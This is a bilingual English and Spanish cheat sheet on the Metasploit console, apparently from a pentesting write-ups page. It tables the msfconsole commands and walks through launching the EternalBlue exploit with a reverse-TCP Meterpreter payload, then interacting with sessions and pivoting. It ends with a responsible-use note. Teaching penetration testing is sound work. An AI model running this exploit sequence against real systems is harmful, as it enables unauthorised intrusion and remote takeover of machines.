root@sparrow:~/writeups$ cat metasploit.md
// Shells & Pivoting
Metasploit
22 Jul 2026
· 4 min read
Metasploit Framework is the most widely used exploitation platform in pentesting: it centralises thousands of exploits, payloads and auxiliary modules in an interactive console (
msfconsole), with a consistent workflow to search, configure and launch any of them.
| Type | CLI (interactive console) |
| Platform | Kali / Linux |
Basic flow
msfconsole| Step | Command |
|---|---|
| 1. Search for the exploit | search <service> — e.g. search smb |
| 2. Filter by type/name | search type:exploit name:tomcat |
| 3. Select the module | use <module> — e.g. use exploit/windows/smb/ms17_010_eternalblue |
| 4. View module info | info |
| 5. View required options | show options |
| 6. Set the target | set RHOSTS <IP> |
| 7. View/pick payload | show payloads / set payload <path> |
| 8. Set LHOST | set LHOST <your IP> |
| 9. Run | exploit (exploits) / run (auxiliary) |
msfconsole commands
| Command | What it does |
|---|---|
search <term> | Searches modules (exploits, auxiliary, payloads...) |
use <module> | Selects a module to configure it |
info | Detailed info about the loaded module |
show options | Lists required/optional variables (RHOST, RPORT, PAYLOAD...) |
show advanced | Advanced options for the module |
show payloads | Payloads compatible with the loaded module |
set <VAR> <value> | Sets a variable (LHOST, LPORT, RHOST...) |
setg <VAR> <value> | Sets the variable globally (persists across modules) |
unset <VAR> | Removes a configured variable |
back | Undoes use and returns to the main prompt |
check | Tests if the target is vulnerable without exploiting (if supported) |
exploit / run | Runs the module (exploit on exploits, run on auxiliary) |
exploit -j | Runs in the background as a job |
jobs | Lists running jobs (jobs -v for detail) |
kill -j <id> | Kills a job by ID |
sessions -l | Lists active sessions (meterpreter, shell) |
sessions -i <id> | Interacts with a specific session |
background | Sends the current session/module to the background |
route add <subnet> <mask> <session> | Adds a pivoting route through a session |
reload_all | Reloads modules (after adding/updating externally) |
spool <file> / spool off | Logs the msfconsole session to a file |
help / ? | General help |
exit / quit | Exit msfconsole |
Step-by-step example — Windows Meterpreter (MS17-010)
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.50
set LHOST 10.0.0.5
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
Metasploit Framework es la plataforma de explotación más usada en pentesting: centraliza miles de exploits, payloads y módulos auxiliares en una consola interactiva (
msfconsole), con un flujo de trabajo consistente para buscar, configurar y lanzar cualquiera de ellos.
| Tipo | CLI (consola interactiva) |
| Plataforma | Kali / Linux |
Flujo básico
msfconsole| Paso | Comando |
|---|---|
| 1. Buscar el exploit | search <servicio> — ej: search smb |
| 2. Filtrar por tipo/nombre | search type:exploit name:tomcat |
| 3. Seleccionar módulo | use <módulo> — ej: use exploit/windows/smb/ms17_010_eternalblue |
| 4. Ver info del módulo | info |
| 5. Ver opciones requeridas | show options |
| 6. Configurar objetivo | set RHOSTS <IP> |
| 7. Ver/elegir payload | show payloads / set payload <ruta> |
| 8. Configurar LHOST | set LHOST <tu IP> |
| 9. Ejecutar | exploit (exploits) / run (auxiliary) |
Comandos de msfconsole
| Comando | Qué hace |
|---|---|
search <término> | Busca módulos (exploits, auxiliary, payloads...) |
use <módulo> | Selecciona un módulo para configurarlo |
info | Info detallada del módulo cargado |
show options | Lista variables requeridas/opcionales (RHOST, RPORT, PAYLOAD...) |
show advanced | Opciones avanzadas del módulo |
show payloads | Payloads compatibles con el módulo cargado |
set <VAR> <valor> | Asigna una variable (LHOST, LPORT, RHOST...) |
setg <VAR> <valor> | Asigna la variable globalmente (persiste al cambiar de módulo) |
unset <VAR> | Elimina una variable configurada |
back | Deshace el use y vuelve al prompt principal |
check | Prueba si el objetivo es vulnerable sin explotar (si el módulo lo soporta) |
exploit / run | Ejecuta el módulo (exploit en exploits, run en auxiliary) |
exploit -j | Lanza en background como job |
jobs | Lista jobs en ejecución (jobs -v para detalle) |
kill -j <id> | Mata un job por ID |
sessions -l | Lista sesiones activas (meterpreter, shell) |
sessions -i <id> | Interactúa con una sesión concreta |
background | Manda la sesión/módulo actual a segundo plano |
route add <subred> <mask> <sesión> | Añade una ruta de pivoting a través de una sesión |
reload_all | Recarga módulos (tras añadir/actualizar externamente) |
spool <archivo> / spool off | Graba la sesión de msfconsole a un log |
help / ? | Ayuda general |
exit / quit | Salir de msfconsole |
Ejemplo paso a paso — Windows Meterpreter (MS17-010)
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.50
set LHOST 10.0.0.5
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1Uso responsable
Estos comandos son para entornos propios o con autorización explícita por escrito (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.